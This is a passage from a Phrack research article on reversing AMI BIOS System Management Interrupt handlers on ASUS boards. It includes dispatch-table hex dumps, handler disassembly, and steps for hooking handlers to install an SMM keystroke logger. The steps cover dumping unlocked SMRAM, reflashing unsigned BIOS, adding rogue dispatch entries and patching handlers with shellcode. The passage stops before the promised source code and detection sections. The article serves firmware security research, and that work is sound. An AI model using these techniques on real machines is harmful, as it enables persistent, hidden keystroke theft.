Title : A Real SMM Rootkit
Author : Core Collapse
==Phrack Inc.==
Volume 0x0d, Issue 0x42, Phile #0x0B of 0x11
|=-----------------------------------------------------------------------=|
|=---=[ A Real SMM Rootkit: Reversing and Hooking BIOS SMI Handlers ]=---=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Filip Wecherowski ]=------------------------=|
|=--------------=[ core collapse <[email protected]> ]=-------------=|
|=-----------------------------------------------------------------------=|
--[ ABSTRACT
The research provided in this paper describes in details how to reverse
engineer and modify System Management Interrupt (SMI) handlers in the BIOS
system firmware and how to implement and detect SMM keystroke logger. This
work also presents proof of concept code of SMM keystroke logger that uses
I/O Trap based keystroke interception and a code for detection of such
keystroke logger.
--[ INDEX
1 - INTRODUCTION
2 - REVERSE ENGINEERING SYSTEM MANAGEMENT INTERRUPT (SMI) HANDLERS
2.1 - Brief Overview of BIOS Firmware
2.2 - Overview of System Management Mode (SMM)
2.3 - Extracting binary of BIOS SMI Handlers
2.4 - Disassembling SMI Handlers
2.5 - Disassembling "main" SMI dispatching function
2.6 - Hooking SMI handlers
3 - SMM KEYLOGGER
3.1 - Hardware I/O Trap mechanism
3.2 - Programming I/O Trap to capture keystrokes
3.3 - System Management Mode keylogger payload
3.4 - I/O Trap based keystroke logger SMI handler
3.5 - Multi-processor keylogger specifics
4 - SUGGESTED DETECTION METHODS
4.1 - Detecting I/O Trap based SMM keylogger
4.2 - General timing based detection
5 - CONCLUSION
6 - SOURCE CODE
6.1 - I/O Trap based System Management Mode keystroke logger
6.2 - Programming I/O Trap
6.3 - Detecting I/O Trap SMI keystroke logger
7 - REFERENCES
--[ 1 - INTRODUCTION
This work gives an overview of how code works in Systems Management Mode
and how it can be Hi Jack!ed to inject malicious SMI code. As an example,
we show how to hijack SMI code and inject SMM keystroke logger payload.
SMM malware as well as security of SMI code in (U)EFI firmware was
discussed in [efi_hack]. SMM keylogger was first introduced by Sherri
Sparks and Shawn Embleton at Black Hat USA 2008 [smm_rkt] but very little
details were provided by the authors regarding how SMI code works, how one
could hook it and more importantly how would anyone detect such malware.
We use a different technique to enable keystroke logging in SMM than was
used by [smm_rkt]. We utilize I/O Trap mechanism provided by modern
chipsets instead of I/O APIC.
We strongly believe that to effectively combat SMM malware in the future
we need to learn internals of SMM firmware which is a primary motivation
for writing this article. Until then SMM security will be in a state of
hysteria. In the paper we also describe some methods to detect the
presence of SMI keystroke logger.
We do not disclose any vulnerability that would allow injecting malicious
payload into SMM. The first known SMM exploit was disclosed in [smm],
another exploit was disclosed in [xen_0wn] (*). Both of them exploited
insecure hardware configuration programmed by the BIOS system firmware
that also contains SMI handlers. Thus far, very little research is
available in the internals of SMI handlers. We believe this is due to
complexity of their debugging and reverse engineering. This work is
designed to close this gap regardless of specific vulnerabilities that may
be used to inject malicious code into SMM.
It should be noted that this work only explores SMI code in the BIOS of
ASUS motherboards, specifically in ASUS P5Q based on Intel P45 hardware.
ASUS implements BIOS based on AMIBIOS 8 therefore most of the results of
this work apply to other motherboard manufacturers that use BIOS firmware
based on AMI BIOS. Many results are also applicable to motherboards that
use other BIOS cores because of similarities in implementation of SMI
handlers in different BIOS firmware. SMM is a x86 feature common for all
motherboards which also leads to a similar SMI firmware design across
different BIOS firmware implementations.
(*) While writing this article authors learned about another vulnerability
discovered in CPU SMRAM caching design [smm_cache].
--[ 2 - REVERSE ENGINEERING SYSTEM MANAGEMENT INTERRUPT (SMI) HANDLERS
--[ 2.1 - Brief Overview of BIOS Firmware
The first instruction fetched by CPU after reset is located at 0xFFFFFFF0
address and is mapped to BIOS firmware ROM. This instruction is referred to
as "reset vector". Reset vector is typically a jump to the first bootstrap
code, BIOS boot block. Boot block code and reset vector are physically
residing in BIOS ROM. Access to BIOS ROM is slow compared to DRAM and BIOS
firmware cannot use writable memory such as stack when executing from ROM
or flash.
For these reasons BIOS boot block code copies the rest of system BIOS code
from ROM into DRAM. This process is known as "BIOS shadowing". Shadowed
system BIOS code and data segments reside in lower DRAM regions below 1MB.
Main system BIOS code is located in memory ranges 0xE0000 - 0xEFFFF or
0xF0000 - 0xFFFFF.
BIOS firmware includes not only boot-time code but also firmware that will
be executing at run-time "in parallel" to the Operating System but in it's
own "orthogonal" SMRAM memory reserved from the OS. This run-time firmware
consists of System Management Interrupt (SMI) handlers that execute in
System Management Mode (SMM) of a CPU.
--[ 2.2 - Overview of System Management Mode (SMM)
Processor switches to System Management Mode (SMM) from protected or
real-address mode upon receiving System Management Interrupt (SMI) from
various internal or external devices or generated by software. In response
to SMI it executes special SMI handler located in System Management RAM
(SMRAM) region reserved by the BIOS from Operating System for various SMI
handlers. SMRAM is consisting of several regions contiguous in physical
memory: compatibility segment (CSEG) fixed to addresses 0xA0000 - 0xBFFFF
below 1MB or top segment (TSEG) that can reside anywhere in the physical
memory.
If CPU accesses CSEG while not in SMM mode (regular protected mode code),
memory controller forwards the access to video memory instead of DRAM.
Similarly, non-SMM access to TSEG memory is not allowed by the hardware.
Consequently, access to SMRAM regions is allowed only while processor is
executing code in SMM mode. At boot time, system BIOS firmware initializes
SMRAM, decompresses SMI handlers stored in BIOS ROM and copies them to
SMRAM. BIOS firmware then should "lock" SMRAM to enable its protection
guaranteed by chipset so that SMI handlers cannot be modified by the OS or
any other code from this point on.
Upon receiving SMI CPU starts fetching SMI handler instructions from SMRAM
in big real mode with predefined CPU state. Shortly after that, SMI code
in modern systems initializes and loads Global Descriptor Table (GDT) and
transitions CPU to protected mode without paging. SMI handlers can access
4GB of physical memory. Operating System execution is suspended for the
entire time SMI handler is executing till it resumes to protected mode and
restarts OS execution from the point it was interrupted by SMI.
Default treatment of SMI and SMM code by the processor that supports
virtual machine extensions (for example, Intel VMX) is to leave virtual
machine mode upon receiving SMI for the entire time SMI handler is
executing [intel_man]. Nothing can cause CPU to exit to virtual machine
root (host) mode when in SMM, meaning that Virtual Machine Monitor (VMM)
does not control/virtualize SMI handlers.
Quite obviously that SMM represents an isolated and "privileged"
environment and is a target for malware/rootkits. Once malicious code is
injected into SMRAM, no OS kernel or VMM based anti-virus software can
protect the system nor can they remove it from SMRAM.
It should be noted that the first study of SMM based rootkits was provided
in the paper [smm] followed by [phrack_smm] and a proof of concept
implementation of SMM based keylogger and network backdoor in [smm_rkt].
--[ 2.3 - Extracting binary of BIOS SMI Handlers
There seems to be a common misunderstanding that some "hardware analyzer"
is required to disassemble SMI handlers. No, it is not. SMI handlers is a
part of BIOS system firmware and can be disassembled similarly to any BIOS
code. For detailed information on reversing Award and AMI BIOS, interested
reader should read this excellent book and series of articles by Pinczakko
[bios_disasm].
There are two easy ways to dump SMI handlers on a system:
1. Use any vulnerability to directly access SMRAM from protected mode and
dump all contents of SMRAM region used by the BIOS (TSEG, High SMRAM or
legacy SMRAM region at 0xA0000-0xBFFFF). For instance, if BIOS doesn't
lock SMRAM by setting D_LCK bit then SMRAM can be dumped after
modifying SMRAMC PCI configuration register as explained in [smm] and
[phrack_smm].
If you are unfortunate and BIOS locks SMRAM and there are no other flaw
to use then BIOS firmware can be modified such that it doesn't set D_LCK
any more. After re-flashing modified BIOS ROM binary back and booting the
system from this BIOS, SMRAM will not be locked and can be dumped from
the OS. This, surely, works only if BIOS firmware isn't digitally signed.
Oh, we forgot that almost no motherboards use digitally signed non-EFI
BIOS firmware.
Here's a hint how to find where BIOS firmware sets D_LCK bit. BIOS
firmware is most likely using legacy I/O access to PCI configuration
registers using 0xCF8/0xCFC ports. To access SMRAMC register BIOS
should first write value 0x8000009C to 0xCF8 address port and then a
needed value (typically, 0x1A to lock SMRAM) to 0xCFC data port.
2. There's another, probably simpler, way to disassemble SMI handlers, that
doesn't require access to SMRAM at run-time.
2.1. Dump BIOS firmware binary from BIOS ROM using Flash programmer or
simply download the latest BIOS binary from vendor's web site ;). For
ASUS P5Q motherboard download P5Q-ASUS-PRO-1613.ROM file.
2.2. Most of the BIOS firmware including Main BIOS module which
contains SMI handlers is compressed. Use tools provided by vendor to
extract/decompress the Main BIOS module. ASUS BIOS is based on AMI BIOS
so we used AMIBIOS BIOS Module Manipulation Utility, MMTool.exe, to
extract the Main BIOS module. Open downloaded .ROM file in MMTool,
choose to extract "Single Link Arch BIOS" module (ID=1Bh), check "In
uncompressed form" option and save it. This is uncompressed Main BIOS
module containing SMI handlers.
Check out a resource on modifying AMI BIOS on The Rebels Heaven forum
[ami_mod].
2.3. Once the Main BIOS module is extracted you can start disassembling
it to find SMI handlers (for example, using HIEW or IDA Pro). In this
paper we hope to provide a starting point for analyzing SMI handlers.
So let's jump to disassembling SMI handlers firmware.
--[ 2.4 - Disassembling SMI Handlers
We noticed that ASUS/AMI BIOS uses an array of structures describing
supported SMI handlers. Each entry in the array starts with signature
"$SMIxx" where last two characters 'xx' identify specific SMI handler.
Here is SMI dispatch table used by AMIBIOS 8 in ASUS P5Q SE motherboard
based on Intel's P45 desktop chipset:
00065CB0: 00 24 53 4D-49 43 41 00-00 70 B4 00-40 BF 07 00 $SMICA p_ @.
00065CC0: 40 20 6E C8-A8 4B 6E C8-A8 24 53 4D-49 53 53 00 @ n..Kn..$SMISS
00065CD0: 00 B1 B4 00-40 B4 B4 00-40 91 85 C8-A8 B5 85 C8 +_ @__ @':...:.
00065CE0: A8 24 53 4D-49 50 41 00-00 A8 87 C8-A8 B9 87 C8 .$SMIPA .+...+.
00065CF0: A8 B4 88 C8-A8 1C 89 C8-A8 24 53 4D-49 53 49 00 .__.. %..$SMISI
00065D00: 00 B5 B4 00-40 C7 B4 00-40 63 9F C8-A8 7B 9F C8 ._ @._ @c_..{_.
00065D10: A8 24 53 4D-49 58 35 00-00 35 DE 00-40 38 DE 00 .$SMIX5 5. @8.
00065D20: 40 BE 9F C8-A8 D2 9F C8-A8 24 53 4D-49 42 50 00 @__..._..$SMIBP
00065D30: 00 E4 E0 00-40 F6 E0 00-40 5A A6 C8-A8 80 A6 C8 .. @.. @Z..._..
00065D40: A8 24 53 4D-49 53 53 00-00 01 E1 00-40 14 E1 00 .$SMISS . @ .
00065D50: 40 A0 A6 C8-A8 C6 A6 C8-A8 24 53 4D-49 45 44 00 @........$SMIED
00065D60: 00 8D E3 00-40 90 E3 00-40 DF A7 C8-A8 F2 A7 C8 _. @_. @.......
00065D70: A8 24 53 4D-49 46 53 00-00 91 E3 00-40 94 E3 00 .$SMIFS '. @".
00065D80: 40 41 A8 C8-A8 53 A8 C8-A8 24 53 4D-49 50 54 00 @A...S...$SMIPT
00065D90: 00 29 E8 00-40 39 E8 00-40 21 AA C8-A8 33 AA C8 ). @9. @!...3..
00065DA0: A8 24 53 4D-49 42 53 00-00 55 E8 00-40 58 E8 00 .$SMIBS U. @X.
00065DB0: 40 D0 AA C8-A8 12 AB C8-A8 24 53 4D-49 56 44 00 @.... <..$SMIVD
00065DC0: 00 A3 E8 00-40 A6 E8 00-40 CD AB C8-A8 DD AB C8 _. @.. @.<...<.
00065DD0: A8 24 53 4D-49 4F 53 00-00 A7 E8 00-40 AA E8 00 .$SMIOS .. @..
00065DE0: 40 CC AC C8-A8 E7 AC C8-A8 24 53 4D-49 42 4F 00 @........$SMIBO
00065DF0: 00 AB E8 00-40 AE E8 00-40 F7 AC C8-A8 FB AC C8 <. @R. @.......
00065E00: A8 24 44 45-46 FF 00 01-00 AF E8 00-40 B2 E8 00 .$DEF. .. @_.
00065E10: 40 9C B3 C8-A8 A7 B3 C8-A8 53 53 44-54 13 06 00 @__..._..SSDT
Another example, SMI dispatch table on ASUS B50A laptop with Intel mobile
GM45 express and ICH9M chipset looks similar but has more SMI handlers:
0007BE90: 24 53 4D 49-54 44 00 00-92 6D EA 47-9B 6D EA 47 $SMITD 'm.G>m.G
0007BEA0: 10 6B 66 A8-11 6B 66 A8-24 53 4D 49-54 43 00 00 kf. kf.$SMITC
0007BEB0: 30 7E 66 A8-39 7E 66 A8-3A 7E 66 A8-5F 7E 66 A8 0~f.9~f.:~f._~f.
0007BEC0: 24 53 4D 49-43 41 00 00-B0 89 EA 47-E9 08 EA 47 $SMICA .%.G. .G
0007BED0: 70 81 66 A8-9B 81 66 A8-24 53 4D 49-53 53 00 00 p_f.>_f.$SMISS
0007BEE0: F1 89 EA 47-F4 89 EA 47-B8 95 66 A8-D1 95 66 A8 .%.G.%.G..f...f.
0007BEF0: 24 53 4D 49-53 49 00 00-E4 18 32 5E-F6 18 32 5E $SMISI . 2^. 2^
0007BF00: 96 97 66 A8-B4 97 66 A8-24 53 4D 49-58 35 00 00 --f._-f.$SMIX5
0007BF10: 49 A5 EA 47-4C A5 EA 47-92 9B 66 A8-A6 9B 66 A8 I_.GL_.G'>f..>f.
0007BF20: 24 53 4D 49-42 4E 00 00-96 A7 EA 47-A5 A7 EA 47 $SMIBN -..G_..G
0007BF30: 9F A1 66 A8-B7 A1 66 A8-24 53 4D 49-42 50 00 00 _.f...f.$SMIBP
0007BF40: A6 A7 EA 47-B1 A7 EA 47-79 A3 66 A8-9F A3 66 A8 ...G+..Gy_f.__f.
0007BF50: 24 53 4D 49-45 44 00 00-49 AA EA 47-4C AA EA 47 $SMIED I..GL..G
0007BF60: 10 A4 66 A8-23 A4 66 A8-24 53 4D 49-46 53 00 00 .f.#.f.$SMIFS
0007BF70: 4D AA EA 47-50 AA EA 47-72 A4 66 A8-84 A4 66 A8 M..GP..Gr.f.".f.
0007BF80: 24 53 4D 49-50 54 00 00-E1 B7 EA 47-F1 B7 EA 47 $SMIPT ...G...G
0007BF90: 0C A6 66 A8-1E A6 66 A8-24 53 4D 49-42 53 00 00 .f. .f.$SMIBS
0007BFA0: F2 B7 EA 47-FE B7 EA 47-C0 A6 66 A8-4D A7 66 A8 ...G...G..f.M.f.
0007BFB0: 24 53 4D 49-42 4F 00 00-FF B7 EA 47-02 B8 EA 47 $SMIBO ...G ..G
0007BFC0: 08 A8 66 A8-0C A8 66 A8-24 53 4D 49-43 4D 00 00 .f. .f.$SMICM
0007BFD0: 5D AD 66 A8-60 AD 66 A8-EF AD 66 A8-F1 AD 66 A8 ]-f.`-f..-f..-f.
0007BFE0: 24 53 4D 49-4C 55 00 00-91 AE 66 A8-94 AE 66 A8 $SMILU 'Rf."Rf.
0007BFF0: A8 AE 66 A8-B5 AE 66 A8-24 53 4D 49-41 42 00 00 .Rf..Rf.$SMIAB
0007C000: 4D B0 66 A8-50 B0 66 A8-54 B0 66 A8-67 B0 66 A8 M.f.P.f.T.f.g.f.
0007C010: 24 53 4D 49-47 43 00 00-F0 BB 66 A8-F3 BB 66 A8 $SMIGC .>f..>f.
0007C020: F4 BB 66 A8-0A BC 66 A8-24 53 4D 49-50 53 00 00 .>f. _f.$SMIPS
0007C030: 2C BC 66 A8-32 BC 66 A8-33 BC 66 A8-41 BC 66 A8 ,_f.2_f.3_f.A_f.
0007C040: 24 53 4D 49-50 53 00 00-74 BC 66 A8-7A BC 66 A8 $SMIPS t_f.z_f.
0007C050: 7B BC 66 A8-86 BC 66 A8-24 53 4D 49-47 44 00 00 {_f.+_f.$SMIGD
0007C060: C0 BD 66 A8-C3 BD 66 A8-C4 BD 66 A8-F6 BD 66 A8 ._f.._f.._f.._f.
0007C070: 24 53 4D 49-43 45 00 00-50 BF 66 A8-62 BF 66 A8 $SMICE P.f.b.f.
0007C080: 72 BF 66 A8-8B BF 66 A8-24 53 4D 49-46 45 00 00 r.f.<.f.$SMIFE
0007C090: 70 D3 EA 47-7F D3 EA 47-17 C4 66 A8-0C D9 66 A8 p..G..G .f. .f.
0007C0A0: 24 53 4D 49-49 4C 00 00-50 D9 66 A8-55 D9 66 A8 $SMIIL P.f.U.f.
0007C0B0: 5B D9 66 A8-61 D9 66 A8-24 53 4D 49-43 47 00 00 [.f.a.f.$SMICG
0007C0C0: B0 DA 66 A8-B6 DA 66 A8-EB DA 66 A8-17 DB 66 A8 ..f...f...f. .f.
0007C0D0: 24 44 45 46-FF 00 01 00-84 E3 EA 47-87 E3 EA 47 $DEF. "..G+..G
0007C0E0: 86 E9 66 A8-91 E9 66 A8-00 00 00 01-00 00 00 00 +.f.'.f.
As a small exercise, download .ROM file for any ASUS EeePC netbook and
find which SMI handlers are present in the EeePC BIOS.
Both tables have the last structure with '$DEF' signature which describes
default SMI handler invoked when none of other handlers claimed ownership
of current SMI. It does nothing more than simply clearing all SMI statuses.
From the above tables we can try to reconstruct contents of each table
entry:
_smi_handler STRUCT
signature BYTE '$SMI',?,?
some_flags WORD 0
some_ptr0 DWORD ?
some_ptr1 DWORD ?
some_ptr2 DWORD ?
handle_smi_ptr DWORD ?
_smi_handler ENDS
Each SMI handler entry in SMI dispatch table starts with signature '$SMI'
followed by 2 characters specific to SMI handler. Only entry for the
default SMI handler starts with '$DEF' signature.
Each _smi_handler entry contains several pointers to SMI handler functions.
The most important pointer occupies last 4 bytes, handle_smi_ptr. It points
to the main handling function of the corresponding SMI handler.
--[ 2.5 - Disassembling "main" SMI dispatching function
A special SMI dispatch routine (let's name it "dispatch_smi") iterates
through each SMI handler entry in the table and invokes its handle_smi_ptr.
If none of the registered SMI handlers claimed ownership of the current SMI
it invokes handle_smi_ptr routine of $DEF handler.
Below is a disassembly of Handle_SMI BIOS function in ASUS P5Q motherboard:
0004AF71: 51 push cx
0004AF72: 50 push ax
0004AF73: 53 push bx
0004AF74: 1E push ds
0004AF75: 06 push es
0004AF76: 9A0101C8A8 call 0A8C8:00101 ---X
0004AF7B: 07 pop es
0004AF7C: 1F pop ds
0004AF7D: C606670300 mov b,[0367],000
0004AF82: 803E670301 cmp b,[0367],001 ;" "
; je _done_handling_smi
0004AF87: 7438 je 00004AFC1 ---> (1)
;
; load CX with number of supported SMI handlers
; done handling SMI if 0
;
0004AF89: 8B0E6003 mov cx,[0360]
; jcxz _done_handling_smi
0004AF8D: E332 jcxz 00004AFC1 ---> (2)
_iterate_thru_handlers:
;
; load GS with index of SMI handler table segment in GDT
; and decrement number of SMI handlers to try
;
0004AF8F: 6828B4 push 0B428 ;"_("
0004AF92: 0FA9 pop gs
0004AF94: 33FF xor di,di
;
; handle next SMI
;
_handle_next_smi:
0004AF96: 49 dec cx
;
; check some_flags from current _smi_handler entry in the table
;
0004AF97: 658B4506 mov ax,gs:[di][06]
0004AF9B: 83E001 and ax,001 ;" "
0004AF9E: 7413 je 00004AFB3 ---> (3)
0004AFA0: 51 push cx
0004AFA1: 0FA8 push gs
0004AFA3: 57 push di
;
; call SMI handler, handle_smi_ptr of the current
; _smi_handler entry in the dispatch table
;
0004AFA4: 65FF5D14 call d,gs:[di][14]
0004AFA8: 5F pop di
0004AFA9: 0FA9 pop gs
0004AFAB: 59 pop cx
; jcxz _done_handling_smi
0004AFAC: E313 jcxz 00004AFC1 ---> (4)
0004AFAE: 83F800 cmp ax,000
0004AFB1: 7407 je 00004AFBA ---> (5)
0004AFB3: BB1800 mov bx,00018 ;" "
0004AFB6: 03FB add di,bx
;
; try next SMI handler entry
;
0004AFB8: EBDC jmps 00004AF96 ---> (6)
; _handle_next_smi
0004AFBA: B80000 mov ax,00000
0004AFBD: 0BC0 or ax,ax
0004AFBF: 75C1 jne 00004AF82 ---> (7)
;
; SMI either handled or corresponding handler was not found
; and default handler executed
;
_done_handling_smi:
0004AFC1: 5B pop bx
0004AFC2: 58 pop ax
0004AFC3: 59 pop cx
0004AFC4: 5F pop di
0004AFC5: 0FA9 pop gs
0004AFC7: CB retf
--[ 2.6 - Hooking SMI handlers
Based on the above, there are several ways to hook SMI handlers to add a
rootkit functionality: add a new SMI handler or patch one of the existing
SMI handlers. While these two methods aren't significantly different, we
consider both of them.
1. Adding your own SMI handler and a new entry to SMI dispatch table.
To add a new SMI handler we have to add a new entry to SMI dispatch table.
Let's add entry with signature '$SMIaa' to the table just before the entry
for the default SMI handler $DEF:
00065E00: A8 24 53 4D-49 61 61 00-00 AF E8 00-40 B2 E8 00 .$SMIaa .. @_.
00065E10: 40 9C B3 C8-A8 A7 B3 C8-A8 53 53 44-54 13 06 00 @__..._..SSDT
This entry contains pointers to default SMI handler functions that may be
patched. Another method is to find a free space in SMRAM, put shellcode
there and replace pointers to default SMI handler functions with pointers
to SMI shellcode.
Additionally, SMI code saves number of active SMI handlers into a variable
in SMRAM data segment that also should be incremented if a new SMI handler
is injected.
2. Patching one of the existing SMI handlers.
Let's describe patching existing SMI handler in more details.
Although all BIOS we analyzed are based on the same AMIBIOS 8 core, we
found that number of $SMI entries in SMI handler tables vary depending on
motherboard manufacturer and model, chipset manufacturer and model, and
even on whether it's mobile or server motherboard. SMI handlers typically
serve as hardware management functions or workaround for hardware bugs.
Different systems have different needs and therefore different types of
SMI handlers are present in the BIOS firmware.
Interestingly, some of SMI handlers appear to exist in all BIOS based on
AMIBIOS 8. Specifically handlers with the following entries in SMI
dispatch table: $SMICA, $SMISS, $SMISI, $SMIX5, $SMIBP, $SMIED, $SMIFS,
$SMIBS and obviously $DEF.
The first choice would be to replace one of the SMI handlers present in
every BIOS based on AMIBIOS 8 core, such as $SMISS. BIOS for ASUS P5Q
motherboard has $SMISS handler at 000490D3 offset of system BIOS code.
Below is a snippet of $SMISS handler disassembly:
handle_smi_ss:
000490D3: 0E push cs
000490D4: E8D8FF call 0000490AF --- (1)
000490D7: B80100 mov ax,00001 ;" "
000490DA: 0F82F400 jb 0000491D2 --- (2)
000490DE: B81034 mov ax,03410 ;"4 "
..
000491CA: 9AFB00C8A8 call 0A8C8:000FB ---X
000491CF: B80000 mov ax,00000
000491D2: CB retf
After some time spent on reverse engineering this handler one should be
able to recognize it as a code handling Sleep State requests. It turns out
that replacing one of the existing SMI handlers may leave the system
without important functionality or even make the system unstable.
Replacing default SMI handler ($DEF) may be possible if injected payload
is designed to handle an SMI that isn't supported by the current BIOS. In
this case no existing SMI handler will claim the SMI and default handler
will be executed.
Default handler is very basic and has very limited space so it may be
better to find another victim handler that has more space, present in SMM
of all BIOS firmware and doesn't implement useful functionality.
Sounds impossible but.. ;) Let's take a look at the SMI handler with
signature $SMIED. This SMI handler handles software SMI generated by
writing 0xDE value to APMC port 0xB2:
_outpd( 0xb2, 0xDE );
It doesn't seem to do anything meaningful but it exists and is the same in
every BIOS we examined. The purpose of this SMI handler is not entirely
clear. It seems to be used for debugging.
First of all, we need to find $SMIED handler routines in BIOS binary. SMI
handlers are trivial to locate, if main routine is found for at least one
SMI handler in the BIOS binary (remember handle_smi_ptr pointer in
SMI_HANDLER structure).
Assume we know location of handle_smi_ss function of $SMISS SMI handler
described above. This location is offset 0x000490D3 in the system BIOS
binary.
The last 4 bytes of $SMISS entry in SMI dispatch table are "B5 85 C8 A8"
which makes handle_smi_ptr = 0xA8C885B5. This is a linear address of the
main function of $SMISS handler. The last 4 bytes of $SMIED entry in SMI
dispatch table are "F2 A7 C8 A8" hence the handle_smi_ptr = 0xA8C8A7F2.
This is a linear address of the main function of $SMIED handler. Delta
between these two linear addresses is 0x223D. By adding this delta to the
offset of $SMISS SMI handler in the BIOS binary, one can calculate the
offset of main function of $SMIED or any other SMI handler in the BIOS
binary.
0x000490D3 + 0x223D = 0x0004B310
Any other SMI handler can be used instead of $SMISS, for example $DEF SMI
handler which should be the same in all BIOS binaries.
Here's the main function of $SMIED SMI handler:
0004B2FD: 50 push ax
0004B2FE: E8CCFD call 00004B0CD --- > (1)
0004B301: 720A jb 00004B30D --- > (2)
0004B303: 3CDE cmp al,0DE
0004B305: 7506 jne 00004B30D --- > (3)
0004B307: E8E0FD call 00004B0EA --- > (4)
0004B30A: F8 clc
0004B30B: 58 pop ax
0004B30C: CB retf
0004B30D: F9 stc
0004B30E: 58 pop ax
0004B30F: CB retf
handle_smi_ed:
0004B310: 0E push cs
0004B311: E8E9FF call 00004B2FD --- > (5)
0004B314: B80100 mov ax,00001 ;" "
0004B317: 7245 jb 00004B35E --- > (6)
0004B319: 6660 pushad
0004B31B: 1E push ds
0004B31C: 06 push es
0004B31D: 680070 push 07000 ;"p "
0004B320: 1F pop ds
0004B321: 33FF xor di,di
0004B323: 6828B4 push 0B428 ;"_("
0004B326: 07 pop es
0004B327: 33F6 xor si,si
0004B329: 268B04 mov ax,es:[si]
0004B32C: 8905 mov [di],ax
0004B32E: 268B04 mov ax,es:[si]
0004B331: 3D2444 cmp ax,04424 ;"D$"
0004B334: 750C jne 00004B342 --- > (7)
0004B336: BB0200 mov bx,00002 ;" "
0004B339: 268B4402 mov ax,es:[si][02]
0004B33D: 3D4546 cmp ax,04645 ;"FE"
0004B340: 7408 je 00004B34A --- > (8)
0004B342: 83C602 add si,002 ;" "
0004B345: 83C702 add di,002 ;" "
0004B348: EBDF jmps 00004B329 --- > (9)
0004B34A: 268B00 mov ax,es:[bx][si]
0004B34D: 8901 mov [bx][di],ax
0004B34F: 83C302 add bx,002 ;" "
0004B352: 83FB0A cmp bx,00A ;" "
0004B355: 75F3 jne 00004B34A --- > (A)
0004B357: 07 pop es
0004B358: 1F pop ds
0004B359: 6661 popad
0004B35B: B80000 mov ax,00000
0004B35E: CB retf
The only thing above "debug" SMI handler does is it simply copies the
entire SMI dispatch table from 0x0B428:[si] to 0x07000:[di].
So it seems logical and safe to patch this handler routine with our own
SMI shellcode. The SMI shellcode may be different depending on the
purpose. We inject SMI keystroke logger similarly to [smm_rkt].
Before we jump to details of SMI keystroke logger handler implementation
let's discuss methods tha can be used to invoke this SMI keylogger handler
when keys are pressed on a keyboard.
1. Routing keyboard hardware interrupt (IRQ #01) to SMI using I/O APIC
Authors of [smm_rkt] used I/O Advanced Programmable Interrupt Controller
(I/O APIC) to redirect keyboard controller hardware interrupt IRQ #01 to
SMI and capture keystrokes inside hooked SMI handler.
For details of using this method please refer to [smm_rkt]. For details
on I/O and Local APIC programming, please refer to Chapter 8 of Intel(r)
IA-32 Architecture Software Developer's Manual [intel_man] or search for
"APIC programming".
2. I/O Trap on access to keyboard controller data port 0x60
We initially started to use entirely different technique to intercept
pressed keys in SMI - I/O Trap. It should be noted that this method is
traditionally used in the BIOS to emulate legacy PS/2 keyboard. Let's
describe this method in greater details in the next section.
--[ 3 - SMM KEYLOGGER
--[ 3.1 - Hardware I/O Trap mechanism
One of the ways to implement OS kernel keystroke logger is to hook debug
trap handler #DB in Interrupt Descriptor Table (IDT) and program hardware
debug registers DR0-DR3 to trap on access to keyboard controller data port
0x60.
There has to be similar way to trap into SMI upon access to keyboard I/O
ports. And, miraculously, there is one - I/O ports 60/64 emulation for the
USB keyboard. For instance, let's consult to whitepaper describing USB
support for AMI BIOS [ami_usb]. There we can find the following quote:
[snip]
2.5.4 Port 64/60 Emulation
This option enables/disables the "Port 60h/64h" trapping option. Port
60h/64h trapping allows the BIOS to provide full PS/2 based legacy support
for the USB keyboard and mouse. This option is useful for Microsoft
Windows NT Operating System and for multi-language keyboards. Also this
option provides the PS/2 functionalities like keyboard lock, password
setting, scan code selection etc to USB keyboards.
[/snip]
So to use it for "other" purposes we need to understand what mechanism
this feature is built upon. The mechanism should be supported by hardware
so we need to search CPU and chipset specifications. The underlying
mechanism is supported by both Intel and AMD processors and is referred to
as "I/O Trap". AMD manual has a section "SMM I/O Trap and I/O Restart"
[amd_man]. Intel manual describes it in sections "I/O State Implementation"
and "I/O INSTRUCTION RESTART" [intel_man].
I/O Trap feature allows SMI trapping on access to any I/O port using IN or
OUT instructions and executing specific SMI handler. Reasoning behind this
feature is to power on some device being accessed via some I/O port if
it's powered off. Apparently, I/O Trap is also used for other features
like emulating 60h/64h keyboard ports in SMI handler for the USB keyboard.
So I/O Trap method is similar to debug trap mentioned above, it traps on
access to I/O ports, but instead of invoking debug trap handler in OS
kernel, it generates an SMI interrupt and CPU enters SMM and executes I/O
Trap SMI handler.
When processor traps I/O instruction and enters SMM mode, it saves all
information about trapped I/O instruction in SMM Save State Map in the
field "I/O State Field" at 0x8000 + 0x7FA4 offset from SMBASE. Below we
provide contents of this field that our keylogger will later need to check:
I/O State Field (SMBASE + 0x8000 + 0x7FA4):
+----------+----------+----------+------------+--------+
| 31 16 | 15 8 | 7 4 | 3 1 | 0 |
+----------+----------+----------+------------+--------+
| I/O Port | Reserved | I/O Type | I/O Length | IO_SMI |
+----------+----------+----------+------------+--------+
- If set, IO_SMI (bit 0) indicates that this is a I/O Trap SMI.
- I/O Length (bits [1:3]) indicates if I/O access was byte (001b), word
(010b) or dword (100b).
- I/O Type (bits [4:7]) indicate type of I/O instruction, "IN imm"
(1001b), "IN DX" (0001b), etc.
- I/O Port (bits [16:31]) contain I/O port number that has been accessed.
As we will see in the next section, SMI keylogger will need to update
saved EAX field in SMM Save State Map if this is IO_SMI, access to port
0x60 is byte-wide and done via IN DX instruction. Specifically, SMI
keylogger checks if I/O State field at 0x7FA4 offset has value 0x00600013:
mov esi, SMBASE
mov ecx, dword ptr fs:[esi + 0xFFA4]
cmp ecx, 0x00600013
jnz _not_io_smi
Above check is simplified. SMI keylogger has to check other values of I/O
Type and I/O Length bits in I/O State Field.
(*) Remark: for a keylogger purposes, we are only interested in I/O Trap,
but not in I/O Restart. For the sake of completeness, I/O Restart allows
IN or OUT instruction, that was interrupted by SMI, to be re-executed
(or "restarted") after resuming from SMM mode.
It is possible to program I/O Trap on read or write to any I/O port which
allows anyone to implement SMI handlers that will be invoked on variety of
interactions between software and hardware devices. We are currently
interested in trapping read access to keyboard controller data port 0x60.
Let's describe details of how I/O trapping of key pressed on a keyboard
works:
1. When key is pressed, keyboard controller signals a hardware interrupt
[..Here redirection of IRQ 1 to SMI by I/O APIC would take place..]
2. After receiving hardware keyboard interrupt, APIC invokes keyboard
interrupt handler routine in IDT (0x93 for PS/2 keyboard)
3. At some point keyboard interrupt handler needs to read a scan code from
keyboard controller buffer using data port 0x60
[..In a clean system keyboard interrupt handler would decode scan code and
display it on a screen or handle it normally, but in the hooked system..]
4. Chipset traps read to port 0x60 and signals an I/O Trap SMI
